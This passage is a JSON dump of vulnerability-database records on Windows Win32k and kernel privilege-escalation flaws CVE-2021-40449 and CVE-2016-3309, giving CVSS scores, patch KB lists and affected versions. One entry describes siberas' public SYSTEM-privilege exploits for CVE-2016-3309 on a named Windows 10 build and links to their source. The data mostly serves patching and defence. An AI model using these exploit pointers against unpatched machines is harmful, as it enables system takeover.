["94F9D54F-CE33-561C-A65A-3C28F00AF2AD"]}, {"type": "securelist", "idList": ["SECURELIST:EDEDB5540F9CBEF736A91ECDD708D038"]}, {"type": "mskb", "idList": ["KB3178466"]}, {"type": "nessus", "idList": ["SMB_NT_MS16-098.NASL"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310808784"]}, {"type": "kaspersky", "idList": ["KLA11908", "KLA10856"]}], "modified": "2018-01-04T15:04:15", "rev": 2}}, "objectVersion": "1.6", "sourceHref": "https://0day.today/exploit/28749", "sourceData": "Sources:\r\nhttps://siberas.de/blog/2017/10/05/exploitation_case_study_wild_pool_overflow_CVE-2016-3309_reloaded.html\r\nhttps://github.com/siberas/CVE-2016-3309_Reloaded\r\n \r\nExploits for the recently-patched win32kfull!bFill vulnerability. Executing the Palette or Bitmap exploit will give you SYSTEM privileges on the affected system. The exploits should work fine on Windows 10 x64 with Creators Update, build 15063.540 (latest version of Win10 before the release of Microsoft's September Updates).\r\n \r\nThe Visual Studio solution contains three exploits:\r\n \r\nCVE-2016-3309_Reloaded_Bitmaps: Exploit using the Bitmaps technique\r\nCVE-2016-3309_Reloaded_Palettes: Exploit using the Palettes technique\r\nCVE-2016-3309_Reloaded_Deadlock: POC exploit showcasing the system deadlock which happens due to improved Handle validation\r\n \r\nWe also published a blog post (https://siberas.de/blog/2017/10/05/exploitation_case_study_wild_pool_overflow_CVE-2016-3309_reloaded.html) which goes into detail about the exploitation of this \"wild\" Pool-based overflow.\n\n# 0day.today [2018-01-04] #", "_object_type": "robots.models.zdt.ZDTBulletin", "_object_types": ["robots.models.zdt.ZDTBulletin", "robots.models.base.Bulletin"]}], "mscve": [{"id": "MS:CVE-2021-40449", "vendorId": null, "hash": "7171424a5e262bc11ea91ed3386af44f", "type": "mscve", "bulletinFamily": "microsoft", "title": "Win32k Elevation of Privilege Vulnerability", "description": "Win32k Elevation of Privilege Vulnerability This CVE ID is unique from CVE-2021-40450, CVE-2021-41357. \n", "published": "2021-10-12T07:00:00", "modified": "2021-10-12T07:00:00", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {"acInsufInfo": false, "cvssV2": {"accessComplexity": "LOW", "accessVector": "LOCAL", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 4.6, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0"}, "exploitabilityScore": 3.9, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "MEDIUM", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-40449", "reporter": "Microsoft", "references": [], "cvelist": ["CVE-2021-40449"], "immutableFields": [], "lastseen": "2021-12-06T18:18:32", "history": [{"bulletin": {"id": "MS:CVE-2021-40449", "vendorId": null, "hash": "ba7c1e5260002b8536127a19482267bf", "type": "mscve", "bulletinFamily": "microsoft", "title": "Win32k Elevation of Privilege Vulnerability", "description": "Win32k Elevation of Privilege Vulnerability This CVE ID is unique from CVE-2021-40450, CVE-2021-41357. \n", "published": "2021-10-12T07:00:00", "modified": "2021-10-12T07:00:00", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {}, "cvss3": {}, "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-40449", "reporter": "Microsoft", "references": [], "cvelist": ["CVE-2021-40449"], "immutableFields": [], "lastseen": "2021-10-22T14:48:09", "history": [], "viewCount": 6, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2021-40449"]}, {"type": "attackerkb", "idList": ["AKB:248E5B51-C3A0-4459-AF44-2E0C5544549E"]}, {"type": "githubexploit", "idList": ["94F9D54F-CE33-561C-A65A-3C28F00AF2AD", "67AC7DCE-FB2F-5A78-AB0A-F4A37D19901F", "059CF457-59E4-5647-A0BC-0014C543D6D3", "B45F7278-2C20-5C06-B834-59D960047852"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2021-0739"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:164926"]}, {"type": "hivepro", "idList": ["HIVEPRO:19810CA69EE792A741AC657E50CAAAEE"]}, {"type": "zdt", "idList": ["1337DAY-ID-37026"]}, {"type": "threatpost", "idList": ["THREATPOST:500777B41EEA368E3AC2A6AED65C4A25", "THREATPOST:8836AC81C1F2D9654424EC1584E50A16"]}, {"type": "securelist", "idList": ["SECURELIST:EDEDB5540F9CBEF736A91ECDD708D038", "SECURELIST:1F59148E6615695438F94EF4956585AA"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:7805FE8CEF45482B462D2B4F7A9F7F75", "RAPID7BLOG:73EAE8A2825E9B6764F314122B4E5F25"]}, {"type": "cisa", "idList": ["CISA:D12090E3D1C36426271DE8458FFF31E4"]}, {"type": "krebs", "idList": ["KREBS:99411879A64BD5F899F5CD4CD59A9A1C"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:B448D31E6691905EFC547FAA3B80C971"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:2BC91C96B1F3F528B6AC9D1724739ED2"]}, {"type": "avleonov", "idList": ["AVLEONOV:99215B2D7808C46D8762AD712CD3D267"]}, {"type": "thn", "idList": ["THN:57C3D6DDFA31EA2EA2B6BF2A747A612C"]}, {"type": "nessus", "idList": ["SMB_NT_MS21_OCT_5006715.NASL", "SMB_NT_MS21_OCT_5006699.NASL", "SMB_NT_MS21_OCT_5006732.NASL", "SMB_NT_MS21_OCT_5006672.NASL", "SMB_NT_MS21_OCT_5006729.NASL", "SMB_NT_MS21_OCT_5006667.NASL", "SMB_NT_MS21_OCT_5006670.NASL", "SMB_NT_MS21_OCT_5006669.NASL", "SMB_NT_MS21_OCT_5006675.NASL", "SMB_NT_MS21_OCT_5006674.NASL", "SMB_NT_MS21_OCT_5006728.NASL"]}, {"type": "kaspersky", "idList": ["KLA12309", "KLA12310"]}], "modified": "2021-10-22T14:48:09", "rev": 2}, "score": {"value": 5.9, "vector": "NONE", "modified": "2021-10-22T14:48:09", "rev": 2}}, "objectVersion": "1.6", "kbList": ["KB5006728", "KB5005613", "KB5006739", "KB5006667", "KB5006715", "KB5005573", "KB5006743", "KB5006670", "KB5005565", "KB5006672", "KB5005623", "KB5006736", "KB5006674", "KB5005030", "KB5006714", "KB5005566", "KB5005575", "KB5005569", "KB5006675", "KB5005606", "KB5006732", "KB5006729", "KB5005633", "KB5006699", "KB5006669"], "msrc": "", "mscve": "CVE-2021-40449", "msAffectedSoftware": [{"name": "Windows Server 2012 R2 (Server Core installation)", "kbSupersedence": "KB5005613", "kb": "KB5006714", "msplatform": ""}, {"name": "Windows Server 2012 R2 (Server Core installation)", "kbSupersedence": "", "kb": "KB5006729", "msplatform": ""}, {"name": "Windows Server 2012 R2", "kbSupersedence": "KB5005613", "kb": "KB5006714", "msplatform": ""}, {"name": "Windows Server 2012 R2", "kbSupersedence": "", "kb": "KB5006729", "msplatform": ""}, {"name": "Windows Server 2012 (Server Core installation)", "kbSupersedence": "KB5005623", "kb": "KB5006739", "msplatform": ""}, {"name": "Windows Server 2012 (Server Core installation)", "kbSupersedence": "", "kb": "KB5006732", "msplatform": ""}, {"name": "Windows Server 2012", "kbSupersedence": "KB5005623", "kb": "KB5006739", "msplatform": ""}, {"name": "Windows Server 2012", "kbSupersedence": "", "kb": "KB5006732", "msplatform": ""}, {"name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)", "kbSupersedence": "KB5005633", "kb": "KB5006743", "msplatform": ""}, {"name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)", "kbSupersedence": "", "kb": "KB5006728", "msplatform": ""}, {"name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1", "kbSupersedence": "KB5005633", "kb": "KB5006743", "msplatform": ""}, {"name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1", "kbSupersedence": "", "kb": "KB5006728", "msplatform": ""}, {"name": "Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)", "kbSupersedence": "KB5005606", "kb": "KB5006736", "msplatform": ""}, {"name": "Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)", "kbSupersedence": "", "kb": "KB5006715", "msplatform": ""}, {"name": "Windows Server 2008 for x64-based Systems Service Pack 2", "kbSupersedence": "KB5005606", "kb": "KB5006736", "msplatform": ""}, {"name": "Windows Server 2008 for x64-based Systems Service Pack 2", "kbSupersedence": "", "kb": "KB5006715", "msplatform": ""}, {"name": "Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)", "kbSupersedence": "KB5005606", "kb": "KB5006736", "msplatform": ""}, {"name": "Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)", "kbSupersedence": "", "kb": "KB5006715", "msplatform": ""}, {"name": "Windows Server 2008 for 32-bit Systems Service Pack 2", "kbSupersedence": "KB5005606", "kb": "KB5006736", "msplatform": ""}, {"name": "Windows Server 2008 for 32-bit Systems Service Pack 2", "kbSupersedence": "", "kb": "KB5006715", "msplatform": ""}, {"name": "Windows RT 8.1", "kbSupersedence": "KB5005613", "kb": "KB5006714", "msplatform": ""}, {"name": "Windows 8.1 for x64-based systems", "kbSupersedence": "KB5005613", "kb": "KB5006714", "msplatform": ""}, {"name": "Windows 8.1 for x64-based systems", "kbSupersedence": "", "kb": "KB5006729", "msplatform": ""}, {"name": "Windows 8.1 for 32-bit systems", "kbSupersedence": "KB5005613", "kb": "KB5006714", "msplatform": ""}, {"name": "Windows 8.1 for 32-bit systems", "kbSupersedence": "", "kb": "KB5006729", "msplatform": ""}, {"name": "Windows 7 for x64-based Systems Service Pack 1", "kbSupersedence": "KB5005633", "kb": "KB5006743", "msplatform": ""}, {"name": "Windows 7 for x64-based Systems Service Pack 1", "kbSupersedence": "", "kb": "KB5006728", "msplatform": ""}, {"name": "Windows 7 for 32-bit Systems Service Pack 1", "kbSupersedence": "KB5005633", "kb": "KB5006743", "msplatform": ""}, {"name": "Windows 7 for 32-bit Systems Service Pack 1", "kbSupersedence": "", "kb": "KB5006728", "msplatform": ""}, {"name": "Windows Server 2016 (Server Core installation)", "kbSupersedence": "KB5005573", "kb": "KB5006669", "msplatform": ""}, {"name": "Windows Server 2016", "kbSupersedence": "KB5005573", "kb": "KB5006669", "msplatform": ""}, {"name": "Windows 10 Version 1607 for x64-based Systems", "kbSupersedence": "KB5005573", "kb": "KB5006669", "msplatform": ""}, {"name": "Windows 10 Version 1607 for 32-bit Systems", "kbSupersedence": "KB5005573", "kb": "KB5006669", "msplatform": ""}, {"name": "Windows 10 for x64-based Systems", "kbSupersedence": "KB5005569", "kb": "KB5006675", "msplatform": ""}, {"name": "Windows 10 for 32-bit Systems", "kbSupersedence": "KB5005569", "kb": "KB5006675", "msplatform": ""}, {"name": "Windows 11 for ARM64-based Systems", "kbSupersedence": "", "kb": "KB5006674", "msplatform": ""}, {"name": "Windows 11 for x64-based Systems", "kbSupersedence": "", "kb": "KB5006674", "msplatform": ""}, {"name": "Windows Server, version 20H2 (Server Core Installation)", "kbSupersedence": "KB5005565", "kb": "KB5006670", "msplatform": ""}, {"name": "Windows 10 Version 20H2 for ARM64-based Systems", "kbSupersedence": "KB5005565", "kb": "KB5006670", "msplatform": ""}, {"name": "Windows 10 Version 20H2 for 32-bit Systems", "kbSupersedence": "KB5005565", "kb": "KB5006670", "msplatform": ""}, {"name": "Windows 10 Version 20H2 for x64-based Systems", "kbSupersedence": "KB5005565", "kb": "KB5006670", "msplatform": ""}, {"name": "Windows Server, version 2004 (Server Core installation)", "kbSupersedence": "KB5005565", "kb": "KB5006670", "msplatform": ""}, {"name": "Windows 10 Version 2004 for x64-based Systems", "kbSupersedence": "KB5005565", "kb": "KB5006670", "msplatform": ""}, {"name": "Windows 10 Version 2004 for ARM64-based Systems", "kbSupersedence": "KB5005565", "kb": "KB5006670", "msplatform": ""}, {"name": "Windows 10 Version 2004 for 32-bit Systems", "kbSupersedence": "KB5005565", "kb": "KB5006670", "msplatform": ""}, {"name": "Windows Server 2022 (Server Core installation)", "kbSupersedence": "KB5005575", "kb": "KB5006699", "msplatform": ""}, {"name": "Windows Server 2022", "kbSupersedence": "KB5005575", "kb": "KB5006699", "msplatform": ""}, {"name": "Windows 10 Version 21H1 for 32-bit Systems", "kbSupersedence": "KB5005565", "kb": "KB5006670", "msplatform": ""}, {"name": "Windows 10 Version 21H1 for ARM64-based Systems", "kbSupersedence": "KB5005565", "kb": "KB5006670", "msplatform": ""}, {"name": "Windows 10 Version 21H1 for x64-based Systems", "kbSupersedence": "KB5005565", "kb": "KB5006670", "msplatform": ""}, {"name": "Windows 10 Version 1909 for ARM64-based Systems", "kbSupersedence": "KB5005566", "kb": "KB5006667", "msplatform": ""}, {"name": "Windows 10 Version 1909 for x64-based Systems", "kbSupersedence": "KB5005566", "kb": "KB5006667", "msplatform": ""}, {"name": "Windows 10 Version 1909 for 32-bit Systems", "kbSupersedence": "KB5005566", "kb": "KB5006667", "msplatform": ""}, {"name": "Windows Server 2019 (Server Core installation)", "kbSupersedence": "KB5005030", "kb": "KB5006672", "msplatform": ""}, {"name": "Windows Server 2019", "kbSupersedence": "KB5005030", "kb": "KB5006672", "msplatform": ""}, {"name": "Windows 10 Version 1809 for ARM64-based Systems", "kbSupersedence": "KB5005030", "kb": "KB5006672", "msplatform": ""}, {"name": "Windows 10 Version 1809 for x64-based Systems", "kbSupersedence": "KB5005030", "kb": "KB5006672", "msplatform": ""}, {"name": "Windows 10 Version 1809 for 32-bit Systems", "kbSupersedence": "KB5005030", "kb": "KB5006672", "msplatform": ""}], "vendorCvss": {"baseScore": "7.8", "temporalScore": "7.2", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H/E:F/RL:O/RC:C"}}, "lastseen": "2021-10-22T14:48:09", "differentElements": ["cvss2", "cvss3", "msAffectedSoftware"], "edition": 1}], "viewCount": 6, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2021-40449"]}, {"type": "githubexploit", "idList": ["67AC7DCE-FB2F-5A78-AB0A-F4A37D19901F", "059CF457-59E4-5647-A0BC-0014C543D6D3", "B45F7278-2C20-5C06-B834-59D960047852", "94F9D54F-CE33-561C-A65A-3C28F00AF2AD"]}, {"type": "attackerkb", "idList": ["AKB:248E5B51-C3A0-4459-AF44-2E0C5544549E"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2021-0739"]}, {"type": "hivepro", "idList": ["HIVEPRO:19810CA69EE792A741AC657E50CAAAEE"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:164926"]}, {"type": "zdt", "idList": ["1337DAY-ID-37026"]}, {"type": "securelist", "idList": ["SECURELIST:1F59148E6615695438F94EF4956585AA", "SECURELIST:EDEDB5540F9CBEF736A91ECDD708D038"]}, {"type": "threatpost", "idList": ["THREATPOST:8836AC81C1F2D9654424EC1584E50A16", "THREATPOST:500777B41EEA368E3AC2A6AED65C4A25"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:7805FE8CEF45482B462D2B4F7A9F7F75", "RAPID7BLOG:73EAE8A2825E9B6764F314122B4E5F25"]}, {"type": "cisa", "idList": ["CISA:D12090E3D1C36426271DE8458FFF31E4"]}, {"type": "krebs", "idList": ["KREBS:99411879A64BD5F899F5CD4CD59A9A1C"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:B448D31E6691905EFC547FAA3B80C971"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:2BC91C96B1F3F528B6AC9D1724739ED2"]}, {"type": "avleonov", "idList": ["AVLEONOV:99215B2D7808C46D8762AD712CD3D267"]}, {"type": "thn", "idList": ["THN:57C3D6DDFA31EA2EA2B6BF2A747A612C"]}, {"type": "nessus", "idList": ["SMB_NT_MS21_OCT_5006675.NASL", "SMB_NT_MS21_OCT_5006728.NASL", "SMB_NT_MS21_OCT_5006732.NASL", "SMB_NT_MS21_OCT_5006699.NASL", "SMB_NT_MS21_OCT_5006672.NASL", "SMB_NT_MS21_OCT_5006669.NASL", "SMB_NT_MS21_OCT_5006715.NASL", "SMB_NT_MS21_OCT_5006667.NASL", "SMB_NT_MS21_OCT_5006674.NASL", "SMB_NT_MS21_OCT_5006729.NASL", "SMB_NT_MS21_OCT_5006670.NASL"]}, {"type": "kaspersky", "idList": ["KLA12309", "KLA12310"]}], "modified": "2021-12-06T18:18:32", "rev": 2}, "score": {"value": 5.9, "vector": "NONE", "modified": "2021-12-06T18:18:32", "rev": 2}}, "objectVersion": "1.6", "kbList": ["KB5006674", "KB5006699", "KB5006667", "KB5006675", "KB5006669", "KB5006739", "KB5006736", "KB5005606", "KB5005633", "KB5006743", "KB5005613", "KB5005623", "KB5005569", "KB5006729", "KB5006714", "KB5006715", "KB5005565", "KB5005575", "KB5006672", "KB5005566", "KB5006670", "KB5006728", "KB5005573", "KB5006732", "KB5005030"], "msrc": "", "mscve": "CVE-2021-40449", "msAffectedSoftware": [{"name": "Windows Server 2012 R2 (Server Core installation)", "kbSupersedence": "KB5005613", "kb": "KB5006714", "msplatform": "", "version": "6.3.9600.20144", "operator": "lt"}, {"name": "Windows Server 2012 R2 (Server Core installation)", "kbSupersedence": "", "kb": "KB5006729", "msplatform": "", "version": "6.3.9600.20144", "operator": "lt"}, {"name": "Windows Server 2012 R2", "kbSupersedence": "KB5005613", "kb": "KB5006714", "msplatform": "", "version": "6.3.9600.20144", "operator": "lt"}, {"name": "Windows Server 2012 R2", "kbSupersedence": "", "kb": "KB5006729", "msplatform": "", "version": "6.3.9600.20144", "operator": "lt"}, {"name": "Windows Server 2012 (Server Core installation)", "kbSupersedence": "KB5005623", "kb": "KB5006739", "msplatform": "", "version": "6.2.9200.23490", "operator": "lt"}, {"name": "Windows Server 2012 (Server Core installation)", "kbSupersedence": "", "kb": "KB5006732", "msplatform": "", "version": "6.2.9200.23490", "operator": "lt"}, {"name": "Windows Server 2012", "kbSupersedence": "KB5005623", "kb": "KB5006739", "msplatform": "", "version": "6.2.9200.23490", "operator": "lt"}, {"name": "Windows Server 2012", "kbSupersedence": "", "kb": "KB5006732", "msplatform": "", "version": "6.2.9200.23490", "operator": "lt"}, {"name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)", "kbSupersedence": "KB5005633", "kb": "KB5006743", "msplatform": "", "version": "6.1.7601.25740", "operator": "lt"}, {"name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)", "kbSupersedence": "", "kb": "KB5006728", "msplatform": "", "version": "6.1.7601.25740", "operator": "lt"}, {"name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1", "kbSupersedence": "KB5005633", "kb": "KB5006743", "msplatform": "", "version": "6.1.7601.25740", "operator": "lt"}, {"name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1", "kbSupersedence": "", "kb": "KB5006728", "msplatform": "", "version": "6.1.7601.25740", "operator": "lt"}, {"name": "Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)", "kbSupersedence": "KB5005606", "kb": "KB5006736", "msplatform": "", "version": "6.0.6003.21251", "operator": "lt"}, {"name": "Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)", "kbSupersedence": "", "kb": "KB5006715", "msplatform": "", "version": "6.0.6003.21251", "operator": "lt"}, {"name": "Windows Server 2008 for x64-based Systems Service Pack 2", "kbSupersedence": "KB5005606", "kb": "KB5006736", "msplatform": "", "version": "6.0.6003.21251", "operator": "lt"}, {"name": "Windows Server 2008 for x64-based Systems Service Pack 2", "kbSupersedence": "", "kb": "KB5006715", "msplatform": "", "version": "6.0.6003.21251", "operator": "lt"}, {"name": "Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)", "kbSupersedence": "KB5005606", "kb": "KB5006736", "msplatform": "", "version": "6.0.6003.21251", "operator": "lt"}, {"name": "Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)", "kbSupersedence": "", "kb": "KB5006715", "msplatform": "", "version": "6.0.6003.21251", "operator": "lt"}, {"name": "Windows Server 2008 for 32-bit Systems Service Pack 2", "kbSupersedence": "KB5005606", "kb": "KB5006736", "msplatform": "", "version": "6.0.6003.21251", "operator": "lt"}, {"name": "Windows Server 2008 for 32-bit Systems Service Pack 2", "kbSupersedence": "", "kb": "KB5006715", "msplatform": "", "version": "6.0.6003.21251", "operator": "lt"}, {"name": "Windows RT 8.1", "kbSupersedence": "KB5005613", "kb": "KB5006714", "msplatform": "", "version": "6.3.9600.20144", "operator": "lt"}, {"name": "Windows 8.1 for x64-based systems", "kbSupersedence": "KB5005613", "kb": "KB5006714", "msplatform": "", "version": "6.3.9600.20144", "operator": "lt"}, {"name": "Windows 8.1 for x64-based systems", "kbSupersedence": "", "kb": "KB5006729", "msplatform": "", "version": "6.3.9600.20144", "operator": "lt"}, {"name": "Windows 8.1 for 32-bit systems", "kbSupersedence": "KB5005613", "kb": "KB5006714", "msplatform": "", "version": "6.3.9600.20144", "operator": "lt"}, {"name": "Windows 8.1 for 32-bit systems", "kbSupersedence": "", "kb": "KB5006729", "msplatform": "", "version": "6.3.9600.20144", "operator": "lt"}, {"name": "Windows 7 for x64-based Systems Service Pack 1", "kbSupersedence": "KB5005633", "kb": "KB5006743", "msplatform": "", "version": "6.1.7601.25740", "operator": "lt"}, {"name": "Windows 7 for x64-based Systems Service Pack 1", "kbSupersedence": "", "kb": "KB5006728", "msplatform": "", "version": "6.1.7601.25740", "operator": "lt"}, {"name": "Windows 7 for 32-bit Systems Service Pack 1", "kbSupersedence": "KB5005633", "kb": "KB5006743", "msplatform": "", "version": "6.1.7601.25740", "operator": "lt"}, {"name": "Windows 7 for 32-bit Systems Service Pack 1", "kbSupersedence": "", "kb": "KB5006728", "msplatform": "", "version": "6.1.7601.25740", "operator": "lt"}, {"name": "Windows Server 2016 (Server Core installation)", "kbSupersedence": "KB5005573", "kb": "KB5006669", "msplatform": "", "version": "10.0.14393.4704", "operator": "lt"}, {"name": "Windows Server 2016", "kbSupersedence": "KB5005573", "kb": "KB5006669", "msplatform": "", "version": "10.0.14393.4704", "operator": "lt"}, {"name": "Windows 10 Version 1607 for x64-based Systems", "kbSupersedence": "KB5005573", "kb": "KB5006669", "msplatform": "", "version": "10.0.14393.4704", "operator": "lt"}, {"name": "Windows 10 Version 1607 for 32-bit Systems", "kbSupersedence": "KB5005573", "kb": "KB5006669", "msplatform": "", "version": "10.0.14393.4704", "operator": "lt"}, {"name": "Windows 10 for x64-based Systems", "kbSupersedence": "KB5005569", "kb": "KB5006675", "msplatform": "", "version": "10.0.10240.19086", "operator": "lt"}, {"name": "Windows 10 for 32-bit Systems", "kbSupersedence": "KB5005569", "kb": "KB5006675", "msplatform": "", "version": "10.0.10240.19086", "operator": "lt"}, {"name": "Windows 11 for ARM64-based Systems", "kbSupersedence": "", "kb": "KB5006674", "msplatform": "", "version": "10.0.22000.258", "operator": "lt"}, {"name": "Windows 11 for x64-based Systems", "kbSupersedence": "", "kb": "KB5006674", "msplatform": "", "version": "10.0.22000.258", "operator": "lt"}, {"name": "Windows Server, version 20H2 (Server Core Installation)", "kbSupersedence": "KB5005565", "kb": "KB5006670", "msplatform": "", "version": "10.0.19042.1288", "operator": "lt"}, {"name": "Windows 10 Version 20H2 for ARM64-based Systems", "kbSupersedence": "KB5005565", "kb": "KB5006670", "msplatform": "", "version": "10.0.19041.1288", "operator": "lt"}, {"name": "Windows 10 Version 20H2 for 32-bit Systems", "kbSupersedence": "KB5005565", "kb": "KB5006670", "msplatform": "", "version": "10.0.19041.1288", "operator": "lt"}, {"name": "Windows 10 Version 20H2 for x64-based Systems", "kbSupersedence": "KB5005565", "kb": "KB5006670", "msplatform": "", "version": "10.0.19041.1288", "operator": "lt"}, {"name": "Windows Server, version 2004 (Server Core installation)", "kbSupersedence": "KB5005565", "kb": "KB5006670", "msplatform": "", "version": "10.0.19041.1288", "operator": "lt"}, {"name": "Windows 10 Version 2004 for x64-based Systems", "kbSupersedence": "KB5005565", "kb": "KB5006670", "msplatform": "", "version": "10.0.19041.1288", "operator": "lt"}, {"name": "Windows 10 Version 2004 for ARM64-based Systems", "kbSupersedence": "KB5005565", "kb": "KB5006670", "msplatform": "", "version": "10.0.19041.1288", "operator": "lt"}, {"name": "Windows 10 Version 2004 for 32-bit Systems", "kbSupersedence": "KB5005565", "kb": "KB5006670", "msplatform": "", "version": "10.0.19041.1288", "operator": "lt"}, {"name": "Windows Server 2022 (Server Core installation)", "kbSupersedence": "KB5005575", "kb": "KB5006699", "msplatform": "", "version": "10.0.20348.288", "operator": "lt"}, {"name": "Windows Server 2022", "kbSupersedence": "KB5005575", "kb": "KB5006699", "msplatform": "", "version": "10.0.20348.288", "operator": "lt"}, {"name": "Windows 10 Version 21H1 for 32-bit Systems", "kbSupersedence": "KB5005565", "kb": "KB5006670", "msplatform": "", "version": "10.0.19041.1288", "operator": "lt"}, {"name": "Windows 10 Version 21H1 for ARM64-based Systems", "kbSupersedence": "KB5005565", "kb": "KB5006670", "msplatform": "", "version": "10.0.19041.1288", "operator": "lt"}, {"name": "Windows 10 Version 21H1 for x64-based Systems", "kbSupersedence": "KB5005565", "kb": "KB5006670", "msplatform": "", "version": "10.0.19041.1288", "operator": "lt"}, {"name": "Windows 10 Version 1909 for ARM64-based Systems", "kbSupersedence": "KB5005566", "kb": "KB5006667", "msplatform": "", "version": "10.0.18363.1854", "operator": "lt"}, {"name": "Windows 10 Version 1909 for x64-based Systems", "kbSupersedence": "KB5005566", "kb": "KB5006667", "msplatform": "", "version": "10.0.18363.1854", "operator": "lt"}, {"name": "Windows 10 Version 1909 for 32-bit Systems", "kbSupersedence": "KB5005566", "kb": "KB5006667", "msplatform": "", "version": "10.0.18363.1854", "operator": "lt"}, {"name": "Windows Server 2019 (Server Core installation)", "kbSupersedence": "KB5005030", "kb": "KB5006672", "msplatform": "", "version": "10.0.17763.2237", "operator": "lt"}, {"name": "Windows Server 2019", "kbSupersedence": "KB5005030", "kb": "KB5006672", "msplatform": "", "version": "10.0.17763.2237", "operator": "lt"}, {"name": "Windows 10 Version 1809 for ARM64-based Systems", "kbSupersedence": "KB5005030", "kb": "KB5006672", "msplatform": "", "version": "10.0.17763.2237", "operator": "lt"}, {"name": "Windows 10 Version 1809 for x64-based Systems", "kbSupersedence": "KB5005030", "kb": "KB5006672", "msplatform": "", "version": "10.0.17763.2237", "operator": "lt"}, {"name": "Windows 10 Version 1809 for 32-bit Systems", "kbSupersedence": "KB5005030", "kb": "KB5006672", "msplatform": "", "version": "10.0.17763.2237", "operator": "lt"}], "vendorCvss": {"baseScore": "7.8", "temporalScore": "7.2", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H/E:F/RL:O/RC:C"}, "_object_type": "robots.models.mscve.MsCveBulletin", "_object_types": ["robots.models.mscve.MsCveBulletin", "robots.models.base.Bulletin"]}, {"id": "MS:CVE-2016-3309", "vendorId": null, "hash": "c4372d5b2c2c02cb1ba523420c18f8dd", "type": "mscve", "bulletinFamily": "microsoft", "title": "Windows Kernel Elevation of Privilege Vulnerability", "description": "An elevation of privilege vulnerability exists when the Windows kernel fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.\n\nTo exploit this vulnerability, an attacker would first have to log on to the system. An attacker could then run a specially crafted application to take control of an affected system.\n\nThe update addresses the vulnerability by correcting how the Windows kernel handles objects in memory.\n", "published": "2016-08-09T07:00:00", "modified": "2016-08-09T07:00:00", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}, "cvss2": {"cvssV2": {"accessComplexity": "LOW", "accessVector": "LOCAL", "authentication": "NONE", "availabilityImpact": "COMPLETE", "baseScore": 7.2, "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0"}, "exploitabilityScore": 3.9, "impactScore": 10.0, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "HIGH", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.0"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2016-3309", "reporter": "Microsoft", "references": [], "cvelist": ["CVE-2016-3309"], "immutableFields": [], "lastseen": "2021-12-06T18:25:25", "history": [{"bulletin": {"id": "MS:CVE-2016-3309", "vendorId": null, "hash": "d75334d6aaa8290bbf6df2c75689859f917a82ad554cd4a37ae099c7492d74eb", "type": "mscve", "bulletinFamily": "microsoft", "title": "Windows Kernel 